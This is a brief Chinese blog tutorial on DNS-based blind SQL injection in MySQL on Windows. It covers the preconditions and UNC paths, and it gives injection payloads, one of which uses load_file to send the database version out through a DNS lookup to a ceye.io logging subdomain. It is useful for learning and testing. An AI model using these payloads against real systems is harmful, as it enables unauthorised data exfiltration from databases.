279 字
1 分钟
Mysql中的dns盲注
  • 因原服务器到期,该文章从原服务器迁移至此,图片可能模糊,见谅

dns盲注条件#

  1. 系统需为windows:dns盲注需要使用Windows支持的UNC路径加载远程文件,linux并不支持UNC路径。
  2. my.ini配置文件中需存在secure_file_priv=””,没有的话需要添加这项配置。默认是没有的。 即show variables like “%secure%”;中secure_file_priv的值为空白(非NULL)。

什么是UNC路径#

我的理解是UNC是用来进行网络共享的一种协议,即主机间相互访问资源。UNC路径格式如下: \\servername\sharename,其中servername是服务器名。sharename是共享资源的名称。

本地测试#

id=1' and ()=1%23
id=1' and ( select load_file() )=1%23
id=1' and ( select load_file( concat('',(),'') ) )=1%23
id=1' and ( select load_file( concat('\\\\',(select version()),'.jlx20a.ceye.io') ) )=1%23

四个‘\’转义后即为\\ dns平台结果

结束#

两个比较推荐的dns平台:

http://www.dnslog.cn/ http://ceye.io/records/dns

本次测试仅本地测试打通了,因为远程站点是linux服务器,因此没有成功,只能用低效率的延时注入了。如果师傅们有好的方法欢迎交流。

Mysql中的dns盲注
https://impose1.github.io/posts/mysql中的dns盲注/
作者
Heikki
发布于
2022-05-13
许可协议
CC BY-NC-SA 4.0